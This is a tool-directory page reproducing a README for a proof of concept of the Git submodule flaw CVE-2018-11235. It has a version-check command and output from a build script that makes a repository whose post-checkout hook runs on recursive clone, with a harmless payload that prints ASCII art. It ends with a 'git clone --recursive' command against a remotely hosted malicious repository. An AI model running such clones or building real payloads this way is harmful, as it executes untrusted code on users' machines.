Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2018-11235 — CVE-2018-11235(PoC && Exp) | Kitploit
Tools/GitHubGitHub/anonymking/cve-2018-11235
Vulnerability AnalysisExploitationSupply Chain SecurityLearning & EducationBinary ExploitationLabs & Practice
GitHubanonymking/cve-2018-11235

CVE-2018-11235

CVE-2018-11235(PoC && Exp)

View Repository
17 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2018-11235

Vulnerability Overview

  • Vulnerability Name: Git Security Vulnerability
  • CNNVD ID: CNNVD-201805-1020
  • Severity Level: High
  • CVE ID: CVE-2018-11235
  • Vulnerability Type: Security Feature Issue
  • Published Date: 2018-05-31
  • Threat Type: Remote
  • Updated Date: 2019-04-01
  • Vendor: git-scm
  • Vulnerability Source:
  • Vulnerability Description: Git is a free, open-source distributed version control system developed by Linus Torvalds. A security vulnerability exists in Git that arises from the program's failure to properly validate submodule names from untrusted .gitmodules files when adding submodule names to the $GIT_DIR/modules directory. Remote attackers can exploit this vulnerability via a specially crafted .gitmodules file to execute arbitrary code. The following versions are affected: Git versions before 2.13.7, 2.14.x before 2.14.4, 2.15.x before 2.15.2, 2.16.x before 2.16.4, and 2.17.x before 2.17.1.
  • Affected versions (source: Git Arbitrary Code Execution Vulnerability Detection and Fix (CVE-2018-11235)):
root@kitploit:~
版本2.13.x,小于2.13.7则存在漏洞
版本2.14.x ,小于 2.14.4则存在漏洞
版本2.15.x,小于 2.15.2则存在漏洞
版本2.16.x,小于 2.16.4则存在漏洞
版本2.17.x,小于 2.17.1则存在漏洞
  • Check if your own version is affected (source: Git Arbitrary Code Execution Vulnerability Detection and Fix (CVE-2018-11235)):
root@kitploit:~
mkdir tmp && cd tmp
git init test && cd test && git update-index --add --cacheinfo 120000,e69de29bb2d1d6434b8b29ae775ad8c2e48c5391,.gitmodules
  1. If it shows Initialized empty Git repository in /tmp/test/.git/, it indicates the vulnerability exists.
  2. If it shows the following lines, it indicates the version is not affected:
root@kitploit:~
Initialized empty Git repository in /tmp/test/.git/
error: Invalid path '.gitmodules'
fatal: git update-index: --cacheinfo cannot add .gitmodules

Vulnerability Reproduction

  • Due to GitHub security mechanisms, malicious projects cannot be uploaded. You can run the script build.sh locally to construct this project for learning and testing.
  • This project's implementation mainly references CVE-2018-11235-DEMO and CVE-2018-11235.
  • The Git version I used is git-2.12.1.
  • The process and effect are as follows:
root@kitploit:~
[anonymking@localhost test]$ ./build.sh 
Initialized empty Git repository in /home/anonymking/Desktop/test/CVE-2018-11235-PoC/Submodule/.git/
[master (root-commit) 9bb1fad] submodule
 1 file changed, 0 insertions(+), 0 deletions(-)
 create mode 100644 hgt_blank
Initialized empty Git repository in /home/anonymking/Desktop/test/CVE-2018-11235-PoC/CVE-2018-11235-PoC/.git/
Cloning into '/home/anonymking/Desktop/test/CVE-2018-11235-PoC/CVE-2018-11235-PoC/payload'...
done.
Cloning into '/home/anonymking/Desktop/test/CVE-2018-11235-PoC/CVE-2018-11235-PoC/Submodule'...
done.
[master (root-commit) fcbf40f] CVE-2018-11235
 29 files changed, 560 insertions(+)
 create mode 100644 .gitmodules
 create mode 160000 Submodule
 create mode 100644 modules/1/2/3/4/payload/HEAD
 create mode 100644 modules/1/2/3/4/payload/config
 create mode 100644 modules/1/2/3/4/payload/description
 create mode 100755 modules/1/2/3/4/payload/hooks/applypatch-msg.sample
 create mode 100755 modules/1/2/3/4/payload/hooks/commit-msg.sample
 create mode 100755 modules/1/2/3/4/payload/hooks/post-checkout
 create mode 100755 modules/1/2/3/4/payload/hooks/post-update.sample
 create mode 100755 modules/1/2/3/4/payload/hooks/pre-applypatch.sample
 create mode 100755 modules/1/2/3/4/payload/hooks/pre-commit.sample
 create mode 100755 modules/1/2/3/4/payload/hooks/pre-push.sample
 create mode 100755 modules/1/2/3/4/payload/hooks/pre-rebase.sample
 create mode 100755 modules/1/2/3/4/payload/hooks/pre-receive.sample
 create mode 100755 modules/1/2/3/4/payload/hooks/prepare-commit-msg.sample
 create mode 100755 modules/1/2/3/4/payload/hooks/update.sample
 create mode 100644 modules/1/2/3/4/payload/index
 create mode 100644 modules/1/2/3/4/payload/info/exclude
 create mode 100644 modules/1/2/3/4/payload/logs/HEAD
 create mode 100644 modules/1/2/3/4/payload/logs/refs/heads/master
 create mode 100644 modules/1/2/3/4/payload/logs/refs/remotes/origin/HEAD
 create mode 100644 modules/1/2/3/4/payload/objects/0e/6d9b98b3face913a8ebf48f804d6c8fffba674
 create mode 100644 modules/1/2/3/4/payload/objects/9b/b1fad6c6e16340496f2cc0fec46c8159bfc693
 create mode 100644 modules/1/2/3/4/payload/objects/e6/9de29bb2d1d6434b8b29ae775ad8c2e48c5391
 create mode 100644 modules/1/2/3/4/payload/packed-refs
 create mode 100644 modules/1/2/3/4/payload/refs/heads/master
 create mode 100644 modules/1/2/3/4/payload/refs/remotes/origin/HEAD
 create mode 120000 modules/payload
 create mode 160000 payload
git clone --recursive "/home/anonymking/Desktop/test/CVE-2018-11235-PoC/CVE-2018-11235-PoC" des_dir
[anonymking@localhost test]$ 
[anonymking@localhost test]$ 
[anonymking@localhost test]$ git clone --recursive "/home/anonymking/Desktop/test/CVE-2018-11235-PoC/CVE-2018-11235-PoC" test
Cloning into 'test'...
done.
Submodule 'Submodule' (/home/anonymking/Desktop/test/CVE-2018-11235-PoC/Submodule) registered for path 'Submodule'
Submodule '../../modules/payload' (/home/anonymking/Desktop/test/CVE-2018-11235-PoC/Submodule) registered for path 'payload'
Cloning into '/home/anonymking/Desktop/test/test/Submodule'...
done.
Submodule path 'Submodule': checked out '9bb1fad6c6e16340496f2cc0fec46c8159bfc693'


*********************************************
                   _ooOoo_
                  o8888888o
                  88" . "88
                  (| -_- |)
                  O\  =  /O
               ____/`---'\____
             .'  \\|     |//  `.
            /  \\|||  :  |||//  \
           /  _||||| -:- |||||-  \
           |   | \\\  -  /// |   |
           | \_|  ''\---/''  |   |
           \  .-\__  `-`  ___/-. /
         ___`. .'  /--.--\  `. . __
      ."" '<  `.___\_<|>_/___.'  >'"".
     | | :  `- \`.;`\ _ /`;.`/ - ` : | |
     \  \ `-.   \_ __\ /__ _/   .-` /  /
======`-.____`-.___\_____/___.-`____.-'======
                   `=---='
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Submodule path 'payload': checked out '9bb1fad6c6e16340496f2cc0fec46c8159bfc693'
  • In the payload, the malicious code I constructed outputs a Buddha, so seeing the Buddha indicates a successful test.

References

  1. http://lkml.iu.edu/hypermail/linux/kernel/1805.3/05909.html
  2. https://www.anquanke.com/post/id/146909
  3. https://staaldraad.github.io/post/2018-06-03-cve-2018-11235-git-rce/
  4. https://xz.aliyun.com/t/2371
  5. https://github.com/CHYbeta/CVE-2018-11235-DEMO
  6. https://atorralba.github.io/CVE-2018-11235/
  7. https://github.com/Rogdham/CVE-2018-11235

Unexpected Discovery

  • I actually successfully built this project on Coding — CVE-2018-11235
  • Usage:
root@kitploit:~
git clone --recursive https://git.dev.tencent.com/anonymking/CVE-2018-11235.git test
Download Tool